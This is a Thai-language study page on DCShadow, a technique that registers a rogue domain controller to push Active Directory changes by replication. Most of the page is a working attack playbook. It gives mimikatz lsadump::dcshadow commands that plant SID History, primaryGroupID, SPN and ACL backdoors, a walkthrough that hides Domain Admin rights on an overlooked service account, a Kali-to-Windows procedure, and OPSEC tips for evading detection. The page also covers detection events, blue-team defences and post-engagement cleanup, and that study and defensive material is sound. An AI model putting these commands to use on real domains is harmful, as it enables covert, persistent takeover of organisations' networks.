คลัง
active-directory

DCShadow

DCShadow คือการลงทะเบียน 'DC ปลอมชั่วคราว' (rogue DC) ในโดเมน แล้ว push การเปลี่ยนแปลง attribute เข้า Active Directory ผ่านช่องทาง replication (DRS/DRSUAPI) ตรง ๆ — การแก้ไขจึงถูกมองว่ามาจาก DC ที่ถูกต้องและ<strong>ไม่ขึ้น Directory Service change log ปกติ</strong>บน DC จริง ใช้เป็น stealth persistence หลังยึด Domain/Enterprise Admin แล้ว บทนี้ลงลึกกลไก DRS, สิทธิ์ขั้นต่ำที่ต้องมี, ขั้นตอน mimikatz (2 session), การฝัง SID History, การตรวจจับและป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)

Advanced#dcshadow#mimikatz#persistence#replication#drsuapi#sid-history#stealth#active-directory

1. หลักการ — ทำไม push เข้า AD ได้โดยไม่ทิ้ง log

Domain Controller หลายตัวในโดเมนต้อง sync ข้อมูลกันตลอดผ่านกลไก replication ที่ใช้โปรโตคอล DRSUAPI (Directory Replication Service) เมื่อ DC ตัวหนึ่งแก้ object มันจะประกาศ (replicate) การเปลี่ยนแปลงไปยัง DC อื่นด้วยคำสั่ง DRSReplicaAdd / IDL_DRSGetNCChanges จุดสำคัญคือ DC ปลายทางเชื่อว่าข้อมูลที่ replicate มาจาก DC ที่ถูกต้องและเขียนลง database โดยไม่สร้าง event การแก้ไข object แบบเดียวกับการแก้ผ่าน LDAP ปกติ

DCShadow (โมดูล lsadump::dcshadow ของ mimikatz) อาศัยจุดนี้ โดย (1) สร้าง object ชั่วคราวใน Configuration partition ให้เครื่องเราดู 'เหมือน' เป็น DC (สร้าง nTDSDSA object + เพิ่ม SPN GC/ และ E3514235-4B06-11D1-AB04-00C04FC2DCD2/), (2) รอรับคำขอ replicate แล้ว (3) push attribute ที่เราตั้งไว้กลับเข้า DC จริง เมื่อเสร็จก็ลบ object DC ปลอมทิ้ง การแก้ไขจึงฝังใน AD ราวกับ DC จริงเป็นคนทำ — ไม่ผ่าน log การแก้ไข object ปกติ

DCShadow — rogue DC push ผ่าน replication
rogue DC (เรา) mimikatz dcshadow SYSTEM + DA DC จริง รับ replication 1. register nTDSDSA + SPN (Config partition) 2. DRSReplicaAdd → DC ขอ sync 3. push sIDHistory / ACL / SPN → เขียนลง NTDS.dit ไม่ขึ้น DS change log ปกติ → stealth → 4. ลบ rogue DC ทิ้ง
เนื้อหานี้เพื่อการทดสอบเจาะระบบที่ได้รับอนุญาตเป็นลายลักษณ์อักษร (engagement/lab/CTF) เท่านั้น — การแก้ไข Active Directory ขององค์กรโดยไม่ได้รับอนุญาตผิดกฎหมาย
DCShadow เป็นเทคนิค persistence / defense-evasion ไม่ใช่ privilege escalation — คุณต้องมีสิทธิ์ระดับสูง (Domain/Enterprise Admin หรือเทียบเท่า) อยู่ก่อนแล้วจึงจะทำได้ มันคือ 'วิธีเขียนกลับเข้า AD แบบเงียบ' หลังยึดโดเมนได้

2. สิทธิ์ขั้นต่ำและสิ่งที่ต้องเตรียม

โดยดั้งเดิม DCShadow มัก 'อธิบาย' ว่าต้องเป็น Domain Admin แต่จริง ๆ ต้องการชุดสิทธิ์เฉพาะบน object และ partition ต่อไปนี้ (มินิมัม) — ผู้ทดสอบขั้นสูงอาจมอบสิทธิ์เหล่านี้ให้บัญชีธรรมดาไว้ล่วงหน้าเพื่อทำ DCShadow ได้โดยไม่ต้องเป็น DA เต็มตัว:

สิทธิ์ที่ต้องมีบน object ใดใช้ทำอะไร
DS-Install-Replica (WriteProperty)Domain objectลงทะเบียน DC ใหม่
DS-Replication-Manage-TopologySites/Configuration NCจัดการ replication topology
DS-Replication-SynchronizeConfiguration NCสั่ง sync
GenericWrite / WriteDACLSites container (Config)สร้าง nTDSDSA object
WriteProperty บน target objectuser/computer ที่จะแก้push attribute เป้าหมาย
สิทธิ์รัน SYSTEM บนเครื่องที่ทำhost ผู้โจมตีsession ตั้งค่า (server)
  • ต้องมี 2 บริบทสิทธิ์: session แรกรันเป็น SYSTEM (ตั้งค่าและทำหน้าที่เป็น server รอ replicate), session สองรันเป็น Domain Admin (สั่ง push/trigger)
  • เครื่องที่ทำต้อง resolve DNS ไป DC ได้ และ DC ต้องเชื่อมมายังเราได้ (ต้องอยู่ในเครือข่ายเดียวกัน)
  • ต้องรู้ Domain SID ถ้าจะฝัง SID History (เช่น ...-512 = Domain Admins)
  • แนะนำใช้ mimikatz เวอร์ชันใหม่ (มี lsadump::dcshadow) รันบน host ที่ join โดเมน
เตรียมข้อมูล — Domain SID และ target
# Windows (บนโดเมน)
whoami /user                      # ดู SID → ตัด RID ท้ายออก = domain SID
# PowerView:
Get-DomainSID
Get-DomainUser targetuser -Properties objectsid,sidhistory

# Linux (impacket) — หา domain SID
lookupsid.py domain.local/user:[email protected] 0

# ยกระดับ session แรกเป็น SYSTEM (บนเครื่องเรา) ด้วย PsExec
PsExec.exe -s -i cmd.exe          # เปิด cmd เป็น SYSTEM แล้วรัน mimikatz ในนั้น
domain SID = SID ของ user ตัด -RID (เลขท้าย) ออก เช่น S-1-5-21-xxx-xxx-xxx; RID 512 = Domain Admins

3. การใช้งาน (mimikatz — 2 session)

DCShadow ต้องใช้ 2 session พร้อมกัน: (A) server session รันเป็น SYSTEM ตั้งว่าจะ push attribute อะไร แล้วค้างไว้รอ (ทำหน้าที่เป็น rogue DC), (B) push session รันเป็น Domain Admin สั่ง /push เพื่อ trigger ให้ DC จริงมา replicate จาก server session

Session A (SYSTEM) — ตั้งค่า rogue DC + attribute ที่จะ pushWindows
# เปิด mimikatz ใน cmd ที่เป็น SYSTEM (จาก PsExec -s)
mimikatz # !+                     # โหลด mimidrv driver (ถ้าจำเป็น)
mimikatz # !processprotect /process:lsass.exe

# ตัวอย่าง 1: ฝัง SID History = Domain Admins (512) ให้ user ธรรมดา
mimikatz # lsadump::dcshadow /object:lowpriv /attribute:SIDHistory /value:S-1-5-21-1111-2222-3333-512

# ตัวอย่าง 2: แก้ primaryGroupID ให้เป็น 512 (Domain Admins)
mimikatz # lsadump::dcshadow /object:lowpriv /attribute:primaryGroupID /value:512

# ตัวอย่าง 3: เขียน SPN (ทำ targeted kerberoast / silver ticket ต่อ)
mimikatz # lsadump::dcshadow /object:lowpriv /attribute:servicePrincipalName /value:cifs/fake

# → mimikatz จะค้างรอ (register เป็น DC ชั่วคราวแล้ว) จนกว่า session B จะ /push
session A ค้างไว้ อย่าปิด — มันคือ rogue DC ที่รอ DC จริงมา sync; ต้องรันเป็น SYSTEM เท่านั้น
Session B (Domain Admin) — สั่ง pushWindows
# เปิด mimikatz อีกหน้าต่างในบริบท Domain Admin
mimikatz # lsadump::dcshadow /push

# DC จริงจะถูก trigger ให้ replicate จาก rogue DC (session A)
# → attribute ที่ตั้งไว้ถูกเขียนลง NTDS.dit
# เสร็จแล้ว session A จะถอน object DC ปลอมออกอัตโนมัติ

# ตรวจผล (SID History ถูกฝังหรือยัง)
# PowerView:  Get-DomainUser lowpriv -Properties sidhistory
/push ต้องรันด้วยสิทธิ์ที่ replicate ได้ (DA/EA); หลัง push สำเร็จ การเปลี่ยนแปลงจะ propagate ไป DC อื่นตามปกติ
attribute ที่นิยม pushค่าที่ใส่ผลลัพธ์
SIDHistoryS-1-5-21-...-512user ได้สิทธิ์ Domain Admins แบบซ่อน
primaryGroupID512 / 519เป็นสมาชิก DA / Enterprise Admins
servicePrincipalNamecifs/hostเปิดทาง Kerberoast / silver ticket
ntSecurityDescriptorACE ให้เราฝัง ACL backdoor (DCSync สิทธิ์)
userAccountControlflagsตั้ง delegation / ปิด preauth
การฝัง SID History = 512 ให้บัญชีธรรมดาคือ payload คลาสสิกของ DCShadow เพราะ token ของ user นั้นจะมี SID ของ Domain Admins ติดไปด้วยทุกครั้งที่ login โดยที่ตัว user ไม่ได้อยู่ในกลุ่ม DA ตรง ๆ (ตรวจ membership แบบดูรายชื่อกลุ่มจะไม่เห็น)

4. Decision Flow — เลือกใช้ DCShadow เมื่อไหร่

DCShadow (persistence stage)
ยึด Domain/Enterprise Admin แล้ว?
ยังไม่ได้ต้อง privesc ก่อน (ยังทำ DCShadow ไม่ได้)
ได้แล้วไปต่อ
ต้องการอะไร?
แค่ดึง hash ทุกบัญชีใช้ DCSync แทน (อ่านอย่างเดียว)
เขียน backdoor ฝังใน AD แบบเงียบDCShadow
เตรียมสิทธิ์ 2 บริบท
SYSTEM (server) + DA (push)
เลือก attribute + ค่าที่จะ push
SIDHistory / ACL / SPN / UAC
Session A: dcshadow /object /attribute /value (ค้างรอ)
Session B: dcshadow /push

5. การตรวจจับ & OPSEC

แม้ DCShadow เลี่ยง log การแก้ไข object แบบปกติ แต่ไม่ได้ไร้ร่องรอยเสียทีเดียว — การลงทะเบียน DC ใหม่ทิ้ง artifact ใน Configuration partition และ generate network traffic แบบ replication ที่ผิดปกติ (มาจากเครื่องที่ไม่ใช่ DC)

สัญญาณตรวจที่ไหนหมายเหตุ
สร้าง nTDSDSA object ใหม่Event 5137 (Directory Service)DC ปลอมถูกสร้าง/ลบในเวลาสั้น ๆ
เพิ่ม SPN GC/… ให้เครื่องไม่ใช่ DCEvent 4742 (computer changed)computer ได้ replication SPN
DRSReplicaAdd จาก non-DCnetwork / DC replication logsource ไม่อยู่ในรายชื่อ DC จริง
object DC ปรากฏแล้วหายไวSites container ใน Config NClifespan สั้นผิดปกติ
SID History โผล่บน userEvent 4765/4766, ACL audituser มี SIDHistory = 512
  • OPSEC: ทำเร็ว — register, push, ถอน DC ปลอมในหน้าต่างเวลาสั้นเพื่อลดโอกาสถูกจับ DC object ค้าง
  • OPSEC: push น้อย attribute เท่าที่จำเป็น; หลีกเลี่ยงค่าที่ดูผิดปกติชัด (เช่น SID History ให้บัญชีที่ไม่ควรมี)
  • OPSEC: ทำจากเครื่องที่ join โดเมนและดูสมเหตุสมผล ไม่ใช่ host แปลกปลอม
  • จำไว้ว่า DCShadow generate Event 4662 (operation on object) ได้ถ้ามี SACL ที่ตั้ง audit ไว้ — องค์กรที่ audit ละเอียดจับได้

6. Blue Team — การป้องกัน

  • จำกัดสิทธิ์ replication: ตรวจว่ามีเฉพาะ DC จริงที่มี DS-Replication-* และ DS-Install-Replica — audit ACL บน domain/config NC เป็นระยะ
  • Monitor การสร้าง DC: alert เมื่อมี nTDSDSA object / computer ได้ SPN GC/ หรือ E3514235-... ที่ไม่ใช่ DC ที่รู้จัก
  • Baseline รายชื่อ DC: เทียบ replication source กับรายชื่อ DC จริง — replicate จาก host นอกรายการ = แดง
  • Tiered admin + PAW: ลดจำนวนบัญชีที่เป็น DA/EA และบังคับใช้ Privileged Access Workstation
  • ตรวจ SID History: สแกนหา user ที่มี sIDHistory ผิดปกติ (โดยเฉพาะ RID สูง เช่น 512/519) เป็นประจำ
  • ตอบสนอง: หากสงสัยถูก DCShadow — ถือว่าโดเมนถูกยึดเต็ม (attacker เป็น DA อยู่แล้ว) ต้องทำ full AD recovery / reset krbtgt x2 / ล้าง SID History

7. Walkthrough — CTF & real engagement

  1. 1ยึด Domain Admin ได้แล้ว (เช่นผ่าน DCSync + Golden Ticket หรือ ACL abuse)
  2. 2ต้องการ persistence ที่ Blue Team หา timeline การแก้ไขไม่เจอ → เลือก DCShadow ฝัง SID History
  3. 3หา domain SID: Get-DomainSID → S-1-5-21-1111-2222-3333
  4. 4เลือกบัญชีธรรมดาที่มองข้าม (เช่น svc_backup) เป็นตัวฝัง backdoor
  5. 5เปิด cmd เป็น SYSTEM ด้วย PsExec -s -i cmd.exe → รัน mimikatz (session A)
  6. 6session A: lsadump::dcshadow /object:svc_backup /attribute:SIDHistory /value:S-1-5-21-1111-2222-3333-512 (ค้างรอ)
  7. 7เปิด mimikatz อีกหน้าต่างเป็น DA → lsadump::dcshadow /push (session B)
  8. 8ตรวจผล: Get-DomainUser svc_backup -Properties sidhistory → เห็น 512
  9. 9จากนี้ login เป็น svc_backup จะได้ token ที่มีสิทธิ์ Domain Admins แม้ไม่ได้อยู่ในกลุ่ม DA
  10. 10ทำความสะอาด (ถ้าจบงาน): ลบ SIDHistory ออกและรายงานในเอกสารส่งมอบ
ใน real engagement ต้องบันทึกทุก attribute ที่ push และคืนค่าเดิมเมื่อจบงาน — SID History และ ACL backdoor ที่ลืมถอนคือความเสี่ยงร้ายแรงต่อ client

8. ข้อผิดพลาดที่พบบ่อย & แก้ปัญหา

  • ลืมรัน session A เป็น SYSTEM: dcshadow (server) ต้องการ SYSTEM — รันเป็น admin ธรรมดาจะ fail ตอน register DC
  • push จาก session ที่สิทธิ์ไม่พอ: /push ต้องมีสิทธิ์ replicate (DA/EA) ไม่งั้น DC ปฏิเสธ
  • DNS/network resolve ไม่ได้: DC ต้องเชื่อมกลับมายัง rogue DC ได้ — ถ้าอยู่คนละ subnet/firewall กั้น จะ push ไม่สำเร็จ
  • ใส่ SID ผิด format: /value ของ SIDHistory ต้องเป็น SID เต็ม (S-1-5-21-...-512) ไม่ใช่แค่ RID
  • ปิด session A เร็วไป: ต้องค้าง session A ไว้จนกว่า /push จะเสร็จ ไม่งั้น rogue DC หายก่อน replicate
  • เข้าใจผิดว่าเป็น privesc: DCShadow ไม่ยกระดับสิทธิ์ — ต้องเป็น DA อยู่ก่อน (ดู DCSync / ACL Abuse สำหรับการไปถึงจุดนั้น)

9. Quick Reference

  • ต้องมี DA/EA (หรือสิทธิ์ replication เฉพาะ) อยู่ก่อน — persistence ไม่ใช่ privesc
  • 2 session: A = SYSTEM (server/ตั้งค่า), B = DA (/push)
  • A: lsadump::dcshadow /object:user /attribute:SIDHistory /value:S-1-5-21-...-512
  • B: lsadump::dcshadow /push
  • payload นิยม: SIDHistory 512, primaryGroupID 512, ACL backdoor, SPN
  • SYSTEM: PsExec.exe -s -i cmd.exe → mimikatz
  • เด่นเรื่อง stealth: เลี่ยง DS change log ปกติบน DC
  • ป้องกัน: จำกัดสิทธิ์ replication, monitor nTDSDSA/SPN GC ใหม่, สแกน SIDHistory
  • ตรวจจับ: Event 5137/4742, replication จาก non-DC, DC object lifespan สั้น
  • เทียบ DCSync (อ่าน hash) — DCShadow ใช้ 'เขียน' เข้า AD

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติยึด Domain Admin ได้แล้ว (ผ่าน DCSync/Golden Ticket/ACL Abuse) และต้องการฝัง persistence ที่เนียนที่สุด — DCShadow ต้องรันจากเครื่อง Windows ที่ join โดเมน (mimikatz ต้องการ SYSTEM) มีแค่ Kali ใช้เป็นฐานยิง shell เข้าไปแล้วทำตามนี้

  1. 1ยืนยันว่ามีสิทธิ์ DA/EA อยู่แล้วจริง: netexec smb <DC_IP> -u admin -p pass ต้องขึ้น (Pwn3d!)
  2. 2จาก Kali เปิด shell บน host ที่ join โดเมน (ใช้ DA cred): evil-winrm -i <HOST> -u admin -p pass
  3. 3อัปโหลด mimikatz เข้าไปในเครื่องนั้น (คำสั่ง upload ของ evil-winrm)
  4. 4ยกเป็น SYSTEM บนเครื่องนั้น (เช่นผ่าน PsExec/scheduled task) แล้วเปิด mimikatz ในบริบท SYSTEM
  5. 5หา domain SID ก่อน (รันจาก Kali): lookupsid.py domain.local/user:pass@<DC_IP> 0
  6. 6Session A (SYSTEM): lsadump::dcshadow /object:target /attribute:SIDHistory /value:<SID>-512 (ค้างรอ อย่าปิด)
  7. 7Session B (DA, หน้าต่างใหม่): lsadump::dcshadow /push
  8. 8ตรวจผล: login ด้วย credential ของ target แล้วเช็คว่าได้สิทธิ์ DA ติดมาไหม
  9. 9ถ้าทำไม่ได้ (ไม่มี Windows host ให้ใช้ มีแต่ Linux) → DCShadow ทำไม่ได้จาก Kali ล้วนๆ ให้ใช้ Golden Ticket เป็น persistence แทน
เป็น DA แล้ว → ฝัง persistence เนียนๆ ด้วย DCShadow
มีสิทธิ์ DA/EA อยู่แล้วจริงไหม
❌ ยังไม่มี→ ต้อง privesc ก่อน (DCSync/ACL Abuse/Golden Ticket)
✅ มีแล้ว→ หา Windows host ในโดเมนมารัน mimikatz
มี Windows host ที่ join โดเมนให้ใช้ไหม (evil-winrm/RDP เข้าได้)
✅ มี→ เปิด shell แล้วอัปโหลด mimikatz
❌ ไม่มีเลย (มีแต่ Linux)→ DCShadow ทำไม่ได้ ใช้ Golden Ticket แทน
evil-winrm เข้า host → upload mimikatz → ยกเป็น SYSTEM
✅ ได้ SYSTEM shell→ เปิด session A ตั้งค่า dcshadow
❌ ยก SYSTEM ไม่ได้→ ลองใช้ scheduled task/service เป็น SYSTEM แทน
Session A (SYSTEM): lsadump::dcshadow /object /attribute:SIDHistory /value (ค้างรอ)
✅ ตั้งค่ารอสำเร็จ→ เปิด session B (DA) แล้ว push
❌ error สิทธิ์ไม่พอ→ ยืนยันว่า session รันเป็น SYSTEM จริง
Session B (DA): lsadump::dcshadow /push
✅ push สำเร็จ→ ตรวจ SIDHistory บน target แล้วยืนยันสิทธิ์
❌ push fail (DNS/network)→ เช็คว่า DC เชื่อมกลับมาที่เครื่องนี้ได้ไหม
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ยึด shell บน Windows host-gem install evil-winrm-
หา domain SIDimpacket (lookupsid.py)--
รัน DCShadow (ต้อง Windows)-mimikatz (GitHub gentilkiwi)-
ยก SYSTEM บน host-PsExec (Sysinternals)-
ยืนยันสิทธิ์/credsnetexec (crackmapexec)apt install netexec-
ทางเลือก persistence อื่นimpacket (ticketer.py)--
🚑 ถ้าตันสนิท ลองท่าถัดไป: DCSync (ต้องมี DA อยู่ก่อนเสมอ) · Golden Ticket (ทางเลือกที่ทำได้จาก Linux ล้วนถ้าไม่มี Windows host) · ACL Abuse (ทาง privesc ก่อนถ้ายังไม่ใช่ DA) · Delegation Abuse (อีกทาง privesc ก่อนถึง DCShadow)

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้